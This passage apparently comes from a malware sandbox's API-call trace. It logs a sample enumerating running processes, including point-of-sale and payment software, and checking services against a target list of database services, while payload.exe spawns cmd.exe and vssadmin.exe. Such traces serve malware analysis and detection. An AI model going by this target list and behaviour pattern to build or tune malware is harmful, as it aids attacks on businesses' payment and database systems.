returned 12 [0041.637] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0041.637] lstrlenW (lpString="whatsapp.exe") returned 12 [0041.637] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0041.638] lstrlenW (lpString="winscp.exe") returned 10 [0041.638] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0041.638] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0041.638] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0041.639] lstrlenW (lpString="active-charge.exe") returned 17 [0041.639] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0041.639] lstrlenW (lpString="accupos.exe") returned 11 [0041.639] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0041.640] lstrlenW (lpString="afr38.exe") returned 9 [0041.640] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0041.640] lstrlenW (lpString="aldelo.exe") returned 10 [0041.640] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0041.641] lstrlenW (lpString="ccv_server.exe") returned 14 [0041.641] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0041.641] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0041.641] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0041.642] lstrlenW (lpString="creditservice.exe") returned 17 [0041.642] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0041.642] lstrlenW (lpString="edcsvr.exe") returned 10 [0041.642] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0041.643] lstrlenW (lpString="fpos.exe") returned 8 [0041.643] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0041.644] lstrlenW (lpString="isspos.exe") returned 10 [0041.644] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0041.644] lstrlenW (lpString="mxslipstream.exe") returned 16 [0041.644] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0041.644] lstrlenW (lpString="omnipos.exe") returned 11 [0041.645] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0041.645] lstrlenW (lpString="spcwin.exe") returned 10 [0041.645] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0041.645] lstrlenW (lpString="spgagentservice.exe") returned 19 [0041.645] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0041.646] lstrlenW (lpString="utg2.exe") returned 8 [0041.646] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0041.646] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0041.646] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0041.647] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0041.647] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0041.647] lstrlenW (lpString="notebook.exe") returned 12 [0041.647] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0041.648] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0041.648] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0041.648] lstrlenW (lpString="current.exe") returned 11 [0041.648] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.649] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.649] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.649] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.649] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.650] lstrlenW (lpString="taskhost.exe") returned 12 [0041.650] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0041.650] lstrlenW (lpString="payload.exe") returned 11 [0041.650] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0041.650] lstrlenW (lpString="cmd.exe") returned 7 [0041.650] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.651] lstrlenW (lpString="conhost.exe") returned 11 [0041.651] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0041.651] lstrlenW (lpString="vssadmin.exe") returned 12 [0041.651] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0041.652] lstrlenW (lpString="VSSVC.exe") returned 9 [0041.652] Process32NextW (in: hSnapshot=0x1fc, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0041.652] CloseHandle (hObject=0x1fc) returned 1 [0041.652] Sleep (dwMilliseconds=0x1f4) [0042.472] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8fffc8 [0042.472] EnumServicesStatusExW (in: hSCManager=0x8fffc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0042.472] GetLastError () returned 0xea [0042.472] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x123e) returned 0x974238 [0042.490] EnumServicesStatusExW (in: hSCManager=0x8fffc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x123e, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0042.491] CloseServiceHandle (hSCObject=0x8fffc8) returned 1 [0042.517] lstrlenW (lpString="Appinfo") returned 7 [0042.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0042.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0042.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0042.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0042.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0042.517] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0042.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.517] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0042.517] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0042.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0042.517] lstrlenW (lpString="AudioSrv") returned 8 [0042.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0042.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0042.517] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0042.517] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0042.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0042.517] lstrlenW (lpString="BFE") returned 3 [0042.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0042.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0042.517] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0042.517] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0042.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0042.517] lstrlenW (lpString="CryptSvc") returned 8 [0042.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0042.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0042.517] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0042.517] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0042.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0042.517] lstrlenW (lpString="CscService") returned 10 [0042.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0042.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0042.517] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0042.517] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0042.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0042.517] lstrlenW (lpString="DcomLaunch") returned 10 [0042.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.517] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0042.517] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0042.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0042.517] lstrlenW (lpString="Dhcp") returned 4 [0042.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0042.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0042.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0042.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0042.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0042.517] lstrlenW (lpString="Dnscache") returned 8 [0042.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0042.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0042.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0042.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0042.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0042.518] lstrlenW (lpString="DPS") returned 3 [0042.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0042.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0042.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0042.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0042.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0042.518] lstrlenW (lpString="eventlog") returned 8 [0042.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0042.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0042.518] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0042.518] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0042.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0042.518] lstrlenW (lpString="EventSystem") returned 11 [0042.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0042.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0042.518] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0042.518] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0042.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0042.518] lstrlenW (lpString="gpsvc") returned 5 [0042.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0042.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0042.518] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0042.518] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0042.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0042.518] lstrlenW (lpString="iphlpsvc") returned 8 [0042.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.518] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0042.518] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0042.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0042.518] lstrlenW (lpString="LanmanServer") returned 12 [0042.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0042.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0042.518] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0042.518] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0042.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0042.518] lstrlenW (lpString="LanmanWorkstation") returned 17 [0042.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.518] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0042.518] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0042.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0042.518] lstrlenW (lpString="lmhosts") returned 7 [0042.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0042.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0042.518] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0042.518] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0042.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0042.518] lstrlenW (lpString="MMCSS") returned 5 [0042.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0042.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0042.519] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0042.519] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0042.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0042.519] lstrlenW (lpString="MpsSvc") returned 6 [0042.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0042.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0042.519] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0042.519] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0042.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0042.519] lstrlenW (lpString="Netman") returned 6 [0042.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0042.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0042.519] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0042.519] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0042.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0042.519] lstrlenW (lpString="netprofm") returned 8 [0042.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0042.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0042.519] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0042.519] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0042.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0042.519] lstrlenW (lpString="NlaSvc") returned 6 [0042.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0042.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0042.519] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0042.519] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0042.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0042.519] lstrlenW (lpString="nsi") returned 3 [0042.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0042.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0042.519] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0042.519] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0042.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0042.519] lstrlenW (lpString="PcaSvc") returned 6 [0042.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0042.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0042.519] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0042.519] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0042.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0042.519] lstrlenW (lpString="PlugPlay") returned 8 [0042.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0042.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0042.519] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0042.519] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0042.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0042.519] lstrlenW (lpString="Power") returned 5 [0042.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0042.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0042.519] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0042.519] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0042.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0042.520] lstrlenW (lpString="ProfSvc") returned 7 [0042.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0042.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0042.520] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0042.520] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0042.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0042.520] lstrlenW (lpString="RpcEptMapper") returned 12 [0042.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.520] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0042.520] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0042.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0042.520] lstrlenW (lpString="RpcSs") returned 5 [0042.520] 